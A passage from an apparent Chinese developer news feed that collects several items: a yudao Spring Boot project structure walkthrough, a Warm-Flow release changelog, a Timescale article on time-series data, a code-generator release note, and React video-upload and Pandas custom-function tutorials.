            <version>${revision}</version>
        </dependency>
        <dependency>
            <groupId>cn.iocoder.boot</groupId>
            <artifactId>yudao-module-infra-biz</artifactId>
            <version>${revision}</version>
        </dependency>

        <!-- spring boot 配置所需依赖 -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-configuration-processor</artifactId>
            <optional>true</optional>
        </dependency>

        <!-- 服务保障相关 -->
        <dependency>
            <groupId>cn.iocoder.boot</groupId>
            <artifactId>yudao-spring-boot-starter-protection</artifactId>
        </dependency>

    </dependencies>

    <build>
        <!-- 设置构建的 jar 包名 -->
        <finalName>${project.artifactId}</finalName>
        <plugins>
            <!-- 打包 -->
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
                <version>${spring.boot.version}</version>
                <executions>
                    <execution>
                        <goals>
                            <goal>repackage</goal> <!-- 将引入的 jar 打入其中 -->
                        </goals>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>

</project>

cn.iocoder.yudao.server.YudaoServerApplication是整个项目的主启动类,通过注解@SpringBootApplication(scanBasePackages = {"${yudao.info.base-package}.server", "${yudao.info.base-package}.module"})将cn.iocoder.yudao.module下的包列入Spring扫描范围,用于实例化module模块中的类,并纳入Spring容器管理,这也是业务模块(yudao-module-xxx-xxx)下的子包和类必须放在cn.iocoder.yudao.module包下的原因。

package cn.iocoder.yudao.server;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

/**
 * 项目的启动类
 * @author 芋道源码
 */
@SuppressWarnings("SpringComponentScan") // 忽略 IDEA 无法识别 ${yudao.info.base-package}
@SpringBootApplication(scanBasePackages = {"${yudao.info.base-package}.server", "${yudao.info.base-package}.module"})
public class YudaoServerApplication {

    public static void main(String[] args) {
        SpringApplication.run(YudaoServerApplication.class, args);
    }

}

controller包下定义了一个缺省的cn.iocoder.yudao.server.controller.DefaultController类,如果被调用的接口所在的模块没有被yudao-server引入,就会被这个类中带着路径通配符的接口方法“兜底”,给出对应的错误提示,这个也是芋道源码中比较精巧的设计之一。

package cn.iocoder.yudao.server.controller;

import cn.iocoder.yudao.framework.common.pojo.CommonResult;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import static cn.iocoder.yudao.framework.common.exception.enums.GlobalErrorCodeConstants.NOT_IMPLEMENTED;

/**
 * 默认 Controller,解决部分 module 未开启时的 404 提示。
 * 例如说,/bpm/** 路径,工作流
 *
 * @author 芋道源码
 */
@RestController
public class DefaultController {

    @RequestMapping("/admin-api/bpm/**")
    public CommonResult<Boolean> bpm404() {
        return CommonResult.error(NOT_IMPLEMENTED.getCode(),
                "[工作流模块 yudao-module-bpm - 已禁用][参考 https://doc.iocoder.cn/bpm/ 开启]");
    }

    @RequestMapping("/admin-api/mp/**")
    public CommonResult<Boolean> mp404() {
        return CommonResult.error(NOT_IMPLEMENTED.getCode(),
                "[微信公众号 yudao-module-mp - 已禁用][参考 https://doc.iocoder.cn/mp/build/ 开启]");
    }

    @RequestMapping(value = {"/admin-api/product/**", // 商品中心
            "/admin-api/trade/**", // 交易中心
            "/admin-api/promotion/**"})  // 营销中心
    public CommonResult<Boolean> mall404() {
        return CommonResult.error(NOT_IMPLEMENTED.getCode(),
                "[商城系统 yudao-module-mall - 已禁用][参考 https://doc.iocoder.cn/mall/build/ 开启]");
    }

    @RequestMapping("/admin-api/erp/**")
    public CommonResult<Boolean> erp404() {
        return CommonResult.error(NOT_IMPLEMENTED.getCode(),
                "[ERP 模块 yudao-module-erp - 已禁用][参考 https://doc.iocoder.cn/erp/build/ 开启]");
    }

    @RequestMapping("/admin-api/crm/**")
    public CommonResult<Boolean> crm404() {
        return CommonResult.error(NOT_IMPLEMENTED.getCode(),
                "[CRM 模块 yudao-module-crm - 已禁用][参考 https://doc.iocoder.cn/crm/build/ 开启]");
    }

    @RequestMapping(value = {"/admin-api/report/**"})
    public CommonResult<Boolean> report404() {
        return CommonResult.error(NOT_IMPLEMENTED.getCode(),
                "[报表模块 yudao-module-report - 已禁用][参考 https://doc.iocoder.cn/report/ 开启]");
    }

    @RequestMapping(value = {"/admin-api/pay/**"})
    public CommonResult<Boolean> pay404() {
        return CommonResult.error(NOT_IMPLEMENTED.getCode(),
                "[支付模块 yudao-module-pay - 已禁用][参考 https://doc.iocoder.cn/pay/build/ 开启]");
    }

    @RequestMapping(value = {"/admin-api/ai/**"})
    public CommonResult<Boolean> ai404() {
        return CommonResult.error(NOT_IMPLEMENTED.getCode(),
                "[AI 大模型 yudao-module-ai - 已禁用][参考 https://doc.iocoder.cn/ai/build/ 开启]");
    }

    @RequestMapping(value = {"/admin-api/iot/**"})
    public CommonResult<Boolean> iot404() {
        return CommonResult.error(NOT_IMPLEMENTED.getCode(),
                "[IOT 物联网 yudao-module-iot - 已禁用][参考 https://doc.iocoder.cn/iot/build/ 开启]");
    }

}

3.6 模块间关系图

1.依赖关系,箭头由被引用模块指向引用模块

image

2.继承关系,箭头由父级指向子级

image

by changelzj at January 24, 2025 01:21 AM

oschina news project

Warm-Flow 新春版 1.6.6:网关直连和流程图重构

🧨Warm-Flow新春版1.6.6:网关直连和流程图重构, 新增Ruoyi-Vue-Plus优秀开源集成案例

  • 本期主要解决了网关直连和流程图重构,可以自此之后可支持各种复杂的网关混合、多网关直连使用。

  • 新增Ruoyi-Vue-Plus优秀开源集成案例

更新日志

  • [feat] 导入、导出和保存等新增json格式支持DefService.importIs/importJson/importDef/saveDef/exportJson

  • [feat] 新增获取后置节点方法NodeService.suffixNodeList

  • [feat] 新增网关直连和测试案例

  • [feat] 流程图右上角新增完成状态颜色示例

  • [feat] 新增流程图查询接口和扩展接口ChartService

  • [feat] 新增历史表数据同步为新的流程图元数据

  • [feat] 新增sqlserver全量脚本

  • [update] 导入、导出和保存xml格式标识为即将删除,请参照hh-vue切换json的api

  • [update] FlowFactory修改为FlowEngine

  • [update] 历史表目标节点编码和目标节点名称字段长度改为200

  • [update] 通过或者退回到并行网关,开启多个任务,改为只产生一条历史记录

  • [update] 退回或者任务完成,其他需要被删除的任务不需要记录历史表,因为已经存在退回记录,不需要重复记录

  • [update] 转办、委派、加签和减签,改为只产生一条历史记录

  • [update] 批量保存改为默认1000条一批

  • [update] 流程设计保存,增加遮罩层

  • [refactor] 流程图绘制调整重构

  • [refactor] 移除mybatis-flex,easy-query和jpa的扩展包,独立成项目,由专门人维护

  • [refactor] 实体类和dao获取改为通过反射,解耦orm-core包

  • [refactor] 重构获取前置节点方法NodeService.previousNodeList

  • [fix] 修复退回时存在其他代办任务,未删除的问题

  • [fix] 修复流程退回目标节点前存在并行网关,导致不生成代办任务的问题

  • [fix] 修复条件表达式中如果有|或导致错误分隔的问题

  • [fix] 修复绘制流程图,错误判断同一条录像的key

  • [fix] 修复结束节点还执行创建监听器的问题

  • [remove] 移除DefService获取流程图api,由ChartService中chartIns和chartDef代替

  • [remove] 删除前端log打印

  • [remove] 移除oracle和postgresql升级脚本,后续只提供mysql升级脚本,所有的全量脚本,其他升级脚本的自行转换

项目介绍

Dromara Warm-Flow国产工作流引擎,其特点简洁轻量,五脏俱全,可扩展,是一个可通过jar引入设计器的工作流。

  1. 支持常见审批功能、监听器与流程变量、条件表达式、办理人变量表达式

  2. 自带流程图、流程设计器

  3. 生态丰富可扩展

  4. 文档全面

演示地址

  • admin/admin123

演示地址:http://www.hhzai.top

官网

https://warm-flow.dromara.org/

演示图

by 来源: 投稿 at January 24, 2025 01:16 AM

juejin freebie

什么是时间序列?

了解时间序列数据是什么,它在现实场景中的应用,以及时间序列分析的示例以获得更好的洞察力。

译自 What Is a Time Series and How Is It Used?,作者 Team Timescale。

时间序列数据是一种组织依赖于其跟踪趋势并在特定时期内进行预测的数据类型。它的特点是按时间顺序排列,允许企业发现潜在模式,观察随时间的变化,并预测未来事件。借助合适的工具,您的组织可以使用时间序列数据带来巨大的业务价值,从而实现更明智的决策和战略规划。

时间序列在各个领域都发挥着至关重要的作用,包括营销、供应链管理、医疗保健、加密货币和金融。在本文中,我们将探讨什么是时间序列数据,如何分析它以及可用的常用工具,以了解时间序列数据如何成为您业务的强大资产以及有效利用它的最佳实践。

什么是时间序列数据以及如何使用它?

时间序列数据或时间数据是在规则或不规则的时间间隔内收集的一系列数据点,可以跟踪随时间的变化(以毫秒、天、月甚至年来衡量),从而提供对趋势、模式和关系的宝贵见解。

研究这些数据并进行时间序列分析,使我们能够发现模式、预测趋势并在从金融到医疗保健等领域中找到有价值的见解。了解如何使用时间序列数据可以帮助预测股票价格或实时监控物联网设备。

您可以将时间序列数据视为在特定时刻拍摄的数据点或快照的集合,捕捉系统在特定时间点的状态。当您随着时间的推移收集这些数据点时,您可以观察系统的演变方式,揭示模式和趋势。

为什么使用时间序列数据和分析

无论类型如何,访问详细、功能丰富的时间序列数据已成为我们信息匮乏世界中最有价值的商品之一。大大小小的企业、政府、学校和社区都正在发现从分析时间序列数据中挖掘价值的宝贵方法。

时间序列数据对于跟踪变量随时间的变化至关重要。通过监控数值指标的进展,组织可以使用历史数据趋势来支持其决策过程。这种形式的数据允许企业识别模式,了解过去的行为并预测未来的结果。

正如我们在示例中将看到的,时间序列数据可以揭示各种有价值的业务信息,包括绩效和增长趋势。通过利用这些见解,公司可以做出数据驱动的决策,从而增强其战略并推动增长。

时间序列分析的类型

时间序列分析可以帮助组织有效地理解和利用其数据。例如,时间序列应用程序涵盖不同的行业,包括金融业,交易员分析模式以预测股票趋势,以及物联网,实时监控确保系统效率。您可以使用以下不同类型对时间序列的分析进行分类:

探索性分析

探索性分析涉及将数据分解为不规则性、季节性、周期性和趋势,以便定性地理解它。通过分解序列,我们可以理解我们看到的内容以及我们为什么看到它。

曲线拟合

曲线拟合涉及使用回归模型创建与时间序列中的数据点匹配的函数。此技术有助于识别变量之间的关系,并形成代表数据行为的数学模型。

预测

预测使用回归函数来估计时间序列的未来行为。通过将趋势和模式投射到未来,组织可以做出明智的预测并相应地进行规划。

二手车销售数据集的分解 (来源)。此技术用于时间序列预测

分类

此方法涉及为时间序列数据创建描述性类别,例如“递增”、“周期性”或“稳定”。分类有助于根据结果变量对时间序列进行分类,从而更容易分析和解释不同类型的数据,包括新的或看不见的数据。例如,您可以根据收集到的 CPU 使用数据随时间变化的情况,将服务器性能分类为“正常”或“不规则”。

不同类型的时间序列数据

时间序列数据可以根据观测的性质采用各种形式。时间序列数据的主要两种类型是连续的和离散的。

连续时间序列数据

连续时间序列数据是在时间上连续收集的,没有任何中断。例如,每小时记录一次的温度测量值或每秒更新一次的股票价格。在连续时间序列数据领域,存在各种可以进一步探索的子类型。例如,周期性时间序列数据是指在固定间隔内表现出重复模式的数据,例如每日温度波动或每周网站流量。

离散时间序列数据

离散时间序列数据是在特定时间间隔内收集和记录的。例如,月度销售报告或年度GDP增长率都是离散时间序列数据。

另一方面,不规则时间序列数据不遵循特定模式,可能存在随机波动或异常。例如,事件数据可以被认为是不规则时间序列数据:它指的是在特定时间点发生的事件记录,通常没有可预测的模式。这导致时间戳不遵循规则间隔,使其变得不规则。例如,网站上的用户操作、传感器警报或事务日志。每个事件在其发生时被记录,创建一个时间序列,数据点之间的时间间隔变化。

离散时间序列数据也可以根据收集数据的時間間隔劃分為不同的子類型。一些例子包括每日、每周、每月、每季度或年度数据。每种类型的离散时间序列数据都有其独特的特征,可能需要不同的分析方法。

时间序列数据的四个组成部分

时间序列数据包含以下四个组成部分:

  • 趋势
  • 季节性
  • 周期性
  • 不规则性

趋势

趋势是指数据的总体方向或长期走势,以及它在一段时间内是下降、上升还是不变。它揭示了在特定时期内的整体下降或增长。例如,如果您分析过去几年的电子商务销售额,您会注意到一个上升趋势。

季节性

季节性是指在较短时间间隔内定期发生的事件,例如节日期间产品销售的激增。季节性数据表现出幅度、方向和时间固定的波动。例如,一个人的步数在秋季和春季可能更高,因为夏季太热不适合长时间步行,冬季太冷。

平稳和非平稳时间序列图

周期性

周期性是指重复的波动,这些波动没有固定的周期,持续时间不足以被认为是趋势(但比不规则性长),并且没有一致的持续时间或幅度。周期性的例子包括经济衰退。

不规则性

不规则性包含短期不规则波动、噪声或数据中的残差变异性,其他组成部分无法解释。它包括在考虑周期性、季节性和趋势后出现的不可预测和不稳定的偏差。不规则性的一个例子是计步器采样中的差距。

时间序列数据和时间序列分析的示例

让我们来看一些时间序列数据的实际示例,以了解其在不同领域的价值:

金融市场

时间序列分析最常见的例子之一是根据历史数据预测未来的股票价格。在金融市场中,K线图是跟踪资产价格随时间变化的常用工具。此图表中的每个条形图代表四个关键值:给定期间的开盘价、收盘价、最高价和最低价。这种分析揭示了资产的重要模式和价格趋势,帮助投资者和交易者做出明智的决策。

区块链数据

区块链技术本身就涉及大量的时间序列数据,因为每个区块链都充当时间序列数据库。例如,在比特币网络中,跟踪矿工费和区块奖励随时间的变化可以深入了解比特币挖矿的经济学以及影响挖矿收入的因素。

另一个例子是以太坊网络上的 gas 价格。Gas 指的是支付给网络验证者的区块链交易费用,这对于网络的正常运行至关重要。监控 gas 价格随时间的变化对于了解其波动以及影响这些变化的因素至关重要。

传感器和物联网 (IoT) 数据

传感器数据广泛用于制造和工业环境中监控机械。

例如,跟踪房间内外温度随时间的变化可以帮助您了解温度随时间的变化,并在温度达到临界水平时采取必要的措施。 另一个此领域中时间序列数据的示例是工厂中机器的振动水平。此数据对于评估机器的健康状况并在问题演变成重大问题之前识别潜在问题非常重要,从而确保高效且不间断的运行。

运动数据

在体育运动中,时间序列数据可用于分析运动员和团队的表现

例如,在美国橄榄球运动中,追踪一名球员在比赛开始时的位置以及他们在整个比赛中的移动方式,可以进行详细的性能分析。这有助于理解策略、球员效率和整体团队动态。

另一个应用是计算球员在一场比赛中平均跑动的码数,这可以深入了解他们的表现和对团队的贡献。

您可以在此处找到更多时间序列分析示例

收集时间序列数据

现在我们对时间序列数据有了更好的理解,让我们继续讨论收集这些宝贵信息的过程。根据数据源的性质和所需的精度级别,可以使用各种工具和技术来收集时间序列数据。

一种常用的时间序列数据收集工具是传感器或数据记录器,可以安装它们以定期记录测量值。这些测量值可以包括温度、湿度,甚至股票市场数据。传感器经常用于科学研究,其中精确和准确的数据对于分析和决策至关重要。 例如,在气候研究中,传感器被部署以收集特定地点的温度、降雨量和风速数据。然后使用收集到的数据来分析天气模式并预测未来的气候条件。

此外,在线平台和数据库提供 API(应用程序编程接口)用于访问和检索来自各种来源的时间序列数据,例如金融市场或气象站。这些 API 允许开发人员将其应用程序与实时数据集成,使用户能够访问最新的信息。

例如,金融机构使用 API 获取股票市场数据并在其交易平台上显示。这允许交易者根据最新的市场趋势和波动做出明智的决策。

数据收集的最佳实践

在收集时间序列数据时,必须遵循某些最佳实践以确保数据质量和完整性。这包括定期校准传感器以保持其准确性和可靠性。校准包括将传感器的读数与参考标准进行比较,并在必要时进行调整。

通过定期校准传感器,可以识别和纠正测量中的任何漂移或不准确性,确保收集到的数据精确可靠。

遵守数据隐私和安全协议在时间序列数据收集中也至关重要。根据所收集数据的性质,可能存在关于其处理和存储的法律和伦理方面的考虑。

例如,收集个人健康数据需要遵守隐私法规,例如美国的《健康保险携带和责任法案》(HIPAA)。实施适当的安全措施,例如加密和访问控制,有助于保护收集到的数据免遭未经授权的访问和潜在的泄露。

此外,建立明确的数据收集协议对于确保一致性和最大限度地减少记录观察结果中的任何潜在偏差至关重要。明确定义的协议概述了数据收集的程序和指南,包括采样频率、数据格式以及数据收集过程中需要满足的任何特定条件或标准。

遵循标准化协议确保以系统且无偏差的方式收集数据,从而实现准确的分析和解释。

一些时间序列数据库,例如 Timescale,符合关键的安全标准,例如 SOC2 合规性,确保您的数据得到安全处理和保管。 最后,收集数据的正确存储和备份是数据收集的另一个关键方面。时间序列数据会快速累积,尤其是在频繁收集数据的情况下。因此,拥有强大的数据存储系统非常重要。

这可能涉及使用基于云的存储解决方案,例如Timescale Cloud提供的解决方案,我们的完全托管的、云原生PostgreSQL++解决方案,或专用服务器来安全地存储数据(如果您自托管开源TimescaleDB,它位于Timescale Cloud的核心)。

此外,实施备份策略可确保即使在硬件故障或数据丢失的情况下,收集的时间序列数据也能保持完整并可访问。Timescale允许您专注于构建应用程序,而不是管理数据库,通过自动备份、升级和故障转移为您节省时间。阅读时间序列云数据库中高可用性的工作原理

时间序列数据的常用工具

为了最大限度地利用您的时间序列数据,您需要一套强大的工具来进行数据基础设施和数据分析。这些工具可帮助您有效地摄取、存储、查询和可视化时间序列数据。要开始使用时间序列数据,可以使用Python的pandas库(本文将详细介绍如何在Python中使用时间序列数据)或诸如TimescaleDB之类的专用数据库。这些工具使分析模式和得出见解更容易。

数据基础设施

数据摄取工具

数据摄取工具对于从各种来源收集数据并将其馈送到数据库至关重要。根据数据源的性质,您可以选择使用Apache KafkaPrometheus等常用工具,或者您可能需要针对某些硬件或数据源(例如物联网设备、传感器或专有系统)的专用摄取流程。

确保您的数据基础设施足够灵活,能够处理与各种数据源的连接,这对于可扩展性和适应性至关重要。

数据库

选择合适的数据库对于管理可能快速增长的时序数据至关重要。虽然您可以使用通用数据库,但专门的时间序列数据库通常提供更好的性能、灵活性和针对时间序列数据量身定制的功能。

最常用的通用数据库之一是PostgreSQL——一个功能强大的数据库系统,以其性能、可靠性和健壮性而闻名。它支持高级数据类型和性能优化技术,使其成为各种应用程序的热门选择。

但是,由于时间序列数据可以快速扩展,因此您需要一个像Timescale这样的专用工具。TimescaleDB是一个针对复杂查询优化的时序数据库,构建在PostgreSQL之上。它提供了PostgreSQL的可扩展性、可靠性和SQL查询功能,以及其他特定于时间序列的优化。它可以处理时间序列数据通常的高写入和查询负载,提供自动分区、压缩和实时分析等功能。

分析工具

查询工具

查询工具允许工程师和数据分析师使用能够高效地检索和操作数据的语言和接口与数据库交互。SQL是用于查询数据库的最常用语言,因为它被广泛采用且用途广泛。

使用正确的工具,您可以提取适当的数据并在其上执行计算。为了最大限度地利用您的数据,您应该选择能够轻松与常用查询语言和软件交互的工具。

可视化工具

可视化工具对于通过图表、图形和仪表板将原始数据转换为有意义的见解至关重要。有效的数据可视化可以帮助分析师和利益相关者了解时间序列数据中的趋势、模式和异常。允许数据可视化的软件或包的示例包括MatplotlibTableau

结论

时间序列数据是组织宝贵的信息来源。通过了解时间序列分析和正确的工具,组织可以识别数据中的有意义趋势,改进其决策过程并优化其流程。

TimescaleDB 是一个基于 PostgreSQL 构建的专用时间序列数据库,它为组织提供了熟悉且强大的功能,以充分利用其时间序列数据。要了解有关 Timescale 和时间序列数据的更多信息,以下是一些深入的文章:

by 云云众生s at January 24, 2025 01:13 AM

oschina news project

橙单免费代码生成工具 3.4,最强接单神器版本

前言

橙单,一款可免费使用的线上代码生成工具,完整覆盖主流技术栈,业务代码生成完整覆盖第三范式的所有关联场景,80% 以上的前后端代码一键生成,如果您还在手写代码,不妨了解一下橙单,最懂程序员的代码生成工具。

最新尝试

橙单目前计划以 MES 和 ERP 等复杂业务场景为例,配置更多演示案例和教学视频,希望可以帮到更多的开发者,快速完成项目的实施交付和新产品的研发上线。

最新功能

  • 代码生成,路由表单支持批量更新。
  • 在线表单,支持批量更新。
  • 在线表单,支持页面缓存。
  • 在线表单,多表关联配置时支持自定义 SQL 作为从表数据的过滤条件。
  • 在线表单,支持高级自定义查询,用户可选择主从表字段进行即席查询过滤。
  • 在线表单,支持用户对表格列进行自定义显隐配置。
  • 在线表单,日期组件显示格式支持自定义配置。
  • 在线表单,支持多视图查询表单类型。
  • 基础架构,数据权限支持自定义 SQL。
  • 基础架构,支持微信、企微、钉钉和飞书的第三方登录。
  • 工作流,发送消息支持邮件、微信、企微、钉钉和飞书。
  • 工作流,在线表单工单列表支持与跨库业务表的关联查询过滤,并且可以动态配置。
  • 工作流,路由表单工单列表支持与跨库业务表的关联查询过滤,并且可以动态配置。
  • 工作流,以业务表主键发起流程时,可以动态配置流程发起时的变量参数。
  • 工作流,自动化业务流新增支持缓存缓存加载、缓存删除、MQ 消息发送和异步消费通知等任务类型。

by 来源: 投稿 at January 24, 2025 12:51 AM

juejin frontend

React 视频上传组件 Video Upload

随着互联网的发展,视频内容在网站和应用程序中变得越来越重要。为了满足用户上传视频的需求,开发一个高效、可靠的视频上传组件是非常必要的。本文将深入探讨如何使用React构建一个视频上传组件,并介绍一些常见的问题、易错点以及如何避免这些问题。

image.png

一、基础概念

(一)什么是视频上传组件

视频上传组件是一个允许用户选择并上传视频文件到服务器的界面元素。它通常包括文件选择器、进度条、预览功能等。通过这个组件,用户可以方便地将自己的视频分享到平台上,而开发者则可以通过后端处理这些视频文件,如存储、转码等。

(二)为什么要使用React构建

React 是一个流行的前端框架,具有高效的虚拟DOM机制和组件化开发模式。使用React构建视频上传组件有以下几个优点:

  1. 可复用性:可以轻松地将视频上传组件集成到不同的页面或项目中。
  2. 状态管理:利用React的状态(state)来跟踪文件上传过程中的各种状态变化,如选择文件、上传进度等。
  3. 灵活性:可以根据业务需求自定义组件的功能和样式。

二、常见问题及解决方案

(一)文件大小限制

1. 问题描述

当用户尝试上传超过服务器设定的最大文件大小时,可能会导致上传失败。如果不进行适当的提示,用户会感到困惑。

2. 解决方案

  • 在前端添加文件大小检查逻辑,在用户选择文件时立即判断是否超出限制。如果超出了,则弹出友好的提示信息。
  • 设置合理的默认值,例如最大支持1GB的视频文件上传。同时,可以在界面上明确告知用户该限制。
const maxSize = 1024 * 1024 * 1000; // 1GB
<input type="file" accept="video/*" onChange={(e) => {
    const file = e.target.files[0];
    if (file && file.size > maxSize) {
        alert('文件大小不能超过1GB');
        return;
    }
    // 处理文件...
}} />

(二)文件格式验证

1. 问题描述

不同平台对视频格式有不同的要求,如果用户上传了不支持的格式,会导致无法正常播放或处理。

2. 解决方案

  • 使用accept属性限制文件选择器只能选择特定类型的视频文件,如MP4、AVI等。
  • 在选择文件后进一步验证文件扩展名是否符合要求。如果不符,则给出提示。
const validFormats = ['mp4', 'avi', 'mov'];
<input type="file" accept="video/mp4,video/x-msvideo,video/quicktime" onChange={(e) => {
    const file = e.target.files[0];
    const ext = file.name.split('.').pop().toLowerCase();
    if (!validFormats.includes(ext)) {
        alert('仅支持MP4、AVI、MOV格式的视频文件');
        return;
    }
    // 处理文件...
}} />

(三)上传进度显示

1. 问题描述

对于较大的视频文件,上传时间可能会比较长。如果没有进度条显示,用户不知道上传进度,容易产生焦虑情绪。

2. 解决方案

  • 使用XMLHttpRequest对象或fetch API自带的事件监听器来获取上传进度信息。
  • 根据进度百分比更新UI上的进度条。
const [progress, setProgress] = useState(0);

const handleUpload = async (file) => {
    const formData = new FormData();
    formData.append('video', file);

    const xhr = new XMLHttpRequest();
    xhr.open('POST', '/upload', true);
    xhr.upload.onprogress = (event) => {
        if (event.lengthComputable) {
            const percentComplete = (event.loaded / event.total) * 100;
            setProgress(percentComplete);
        }
    };
    xhr.onload = () => {
        console.log('Upload completed');
    };
    xhr.send(formData);
};

三、易错点及避免方法

(一)跨域请求问题

1. 易错点

当前端与后端部署在不同的域名下时,可能会遇到跨域资源共享(CORS)的问题,导致上传请求被浏览器阻止。

2. 避免方法

  • 确保后端服务器正确配置了CORS头,允许来自前端域名的请求。
  • 如果是开发环境,可以考虑使用代理服务器解决跨域问题。例如,在package.json中添加如下配置:
"proxy": "http://localhost:5000"

这将使得所有以/api开头的请求都会被转发到http://localhost:5000

(二)并发上传控制

1. 易错点

如果多个视频同时上传,可能会占用过多的网络带宽,影响用户体验甚至导致服务器过载。

2. 避免方法

  • 限制每次只能上传一个视频文件,或者设置最大并发数。可以通过维护一个队列来实现。
  • 提供批量上传功能时,先将文件加入队列,然后依次上传,确保不会出现大量并发请求。

四、代码案例解释

下面通过一个完整的案例来展示如何在React中构建一个简单的视频上传组件。

import React, { useState } from 'react';

function VideoUpload() {
    const [selectedFile, setSelectedFile] = useState(null);
    const [progress, setProgress] = useState(0);
    const [message, setMessage] = useState('');

    const maxSize = 1024 * 1024 * 1000; // 1GB
    const validFormats = ['mp4', 'avi', 'mov'];

    const handleFileChange = (e) => {
        const file = e.target.files[0];
        if (!file) return;

        // 文件大小检查
        if (file.size > maxSize) {
            setMessage('文件大小不能超过1GB');
            return;
        }

        // 文件格式验证
        const ext = file.name.split('.').pop().toLowerCase();
        if (!validFormats.includes(ext)) {
            setMessage('仅支持MP4、AVI、MOV格式的视频文件');
            return;
        }

        setSelectedFile(file);
        setMessage('');
    };

    const handleUpload = async () => {
        if (!selectedFile) return;

        const formData = new FormData();
        formData.append('video', selectedFile);

        try {
            const xhr = new XMLHttpRequest();
            xhr.open('POST', '/upload', true);
            xhr.upload.onprogress = (event) => {
                if (event.lengthComputable) {
                    const percentComplete = (event.loaded / event.total) * 100;
                    setProgress(percentComplete);
                }
            };
            xhr.onload = () => {
                if (xhr.status === 200) {
                    setMessage('上传成功');
                } else {
                    setMessage('上传失败,请重试');
                }
                setProgress(0);
            };
            xhr.onerror = () => {
                setMessage('上传失败,请重试');
                setProgress(0);
            };
            xhr.send(formData);
        } catch (error) {
            setMessage('上传失败,请重试');
            setProgress(0);
        }
    };

    return (
        <div>
            <h2>视频上传</h2>
            <input type="file" accept="video/mp4,video/x-msvideo,video/quicktime" onChange={handleFileChange} />
            <button onClick={handleUpload}>上传</button>
            {message && <p>{message}</p>}
            {progress > 0 && <progress value={progress} max="100">{progress}%</progress>}
        </div>
    );
}

export default VideoUpload;

在这个案例中,我们创建了一个名为VideoUpload的React组件。它包含了一个文件选择器用于选择视频文件,并且实现了文件大小和格式的验证。点击“上传”按钮后,会发起一个POST请求将文件上传到服务器,并实时更新上传进度。如果上传过程中出现任何错误,也会及时给用户反馈。

by Jimaks at January 24, 2025 12:34 AM

juejin backend

Pandas高级数据处理:自定义函数

Pandas是Python中用于数据分析和处理的强大库。它提供了丰富的功能,可以轻松地处理各种类型的数据。在实际应用中,我们经常需要对数据进行复杂的转换、计算或聚合操作,而这些操作往往不能仅靠Pandas内置的函数完成。这时,自定义函数就显得尤为重要。

image.png

一、自定义函数的基础概念

(一)什么是自定义函数

自定义函数是指由用户根据特定需求编写的函数。在Pandas中,我们可以将自定义函数应用于DataFrame或Series对象,以实现更复杂的数据处理逻辑。例如,对某一列的数据进行特定格式的转换,或者根据多列数据计算出新的结果等。

(二)使用场景

  1. 数据清洗

    • 在获取到原始数据后,可能会存在一些不符合要求的值,如缺失值、异常值等。通过自定义函数,可以根据业务规则对这些值进行处理。
  2. 特征工程

    • 在机器学习项目中,我们需要从原始数据中提取有用的特征。自定义函数可以帮助我们根据领域知识创建新的特征,提高模型的性能。
  3. 数据转换

    • 将数据从一种格式转换为另一种格式,例如日期格式的转换、字符串的编码转换等。

二、常见问题及解决方案

(一)作用域问题

1. 问题描述

当我们在自定义函数中引用外部变量时,可能会遇到作用域的问题。如果外部变量没有正确传递给自定义函数,就会导致报错或者结果不符合预期。

2. 解决方案

  • 使用函数参数显式地将外部变量传递给自定义函数。例如:
import pandas as pd

df = pd.DataFrame({'A': [1, 2, 3], 'B': [4, 5, 6]})
external_var = 10

def custom_func(row, external):
    return row['A'] + external

df['C'] = df.apply(lambda x: custom_func(x, external_var), axis=1)

在这个例子中,我们将external_var作为参数传递给custom_func函数,避免了直接引用外部变量可能带来的作用域问题。

(二)效率问题

1. 问题描述

对于大型数据集,如果自定义函数的执行效率低下,将会导致整个数据处理过程变得非常缓慢。特别是当我们使用apply方法逐行或逐列应用自定义函数时,这种影响更加明显。

2. 解决方案

  • 向量化操作:尽量利用Pandas提供的向量化操作来替代循环结构。例如,对于简单的数学运算,可以直接使用算术运算符对整个列进行操作,而不是编写一个逐行计算的自定义函数。
  • 优化算法:检查自定义函数中的算法是否可以优化。例如,减少不必要的计算步骤,或者采用更高效的算法来解决问题。

三、常见报错及解决方法

(一)KeyError

1. 报错原因

当我们尝试访问DataFrame或Series中不存在的列名或索引时,就会触发KeyError。这可能是由于拼写错误、数据结构不一致等原因造成的。

2. 解决方法

  • 检查列名或索引是否正确。可以通过df.columns查看DataFrame的所有列名,确保在自定义函数中引用的列名准确无误。
  • 对于可能存在缺失的情况,在访问之前先进行判断。例如:
def custom_func(row):
    if 'column_name' in row:
        return row['column_name']
    else:
        return None

(二)ValueError

1. 报错原因

ValueError通常发生在数据类型不匹配或者输入值不符合函数的要求时。例如,尝试将非数值类型的值传递给一个只能处理数值的函数。

2. 解决方法

  • 在自定义函数中添加数据类型检查。可以使用isinstance函数来判断输入值的类型,并根据不同的类型采取相应的处理措施。
  • 对于可能出现异常值的情况,提前进行预处理。例如,将非数值类型的值转换为默认值或者排除掉。

四、代码案例解释

下面通过一个完整的案例来展示如何在Pandas中使用自定义函数进行数据处理。

假设我们有一个包含学生成绩信息的DataFrame,其中包含学生的姓名、科目、成绩等信息。现在我们想要根据成绩计算每个学生在各个科目上的排名,并且还要对成绩进行等级划分(90分以上为优秀,80 - 89分为良好,60 - 79分为合格,低于60分为不合格)。

import pandas as pd

# 创建示例数据
data = {
    'name': ['Alice', 'Bob', 'Charlie', 'David'],
    'subject': ['Math', 'Math', 'English', 'English'],
    'score': [85, 92, 78, 88]
}
df = pd.DataFrame(data)

# 自定义函数计算排名
def calculate_rank(group):
    sorted_group = group.sort_values(by='score', ascending=False)
    sorted_group['rank'] = range(1, len(sorted_group) + 1)
    return sorted_group

# 根据科目分组并计算排名
df_ranked = df.groupby('subject').apply(calculate_rank).reset_index(drop=True)

# 自定义函数进行成绩等级划分
def score_to_grade(score):
    if score >= 90:
        return '优秀'
    elif score >= 80:
        return '良好'
    elif score >= 60:
        return '合格'
    else:
        return '不合格'

# 新增一列存储成绩等级
df_ranked['grade'] = df_ranked['score'].apply(score_to_grade)

print(df_ranked)

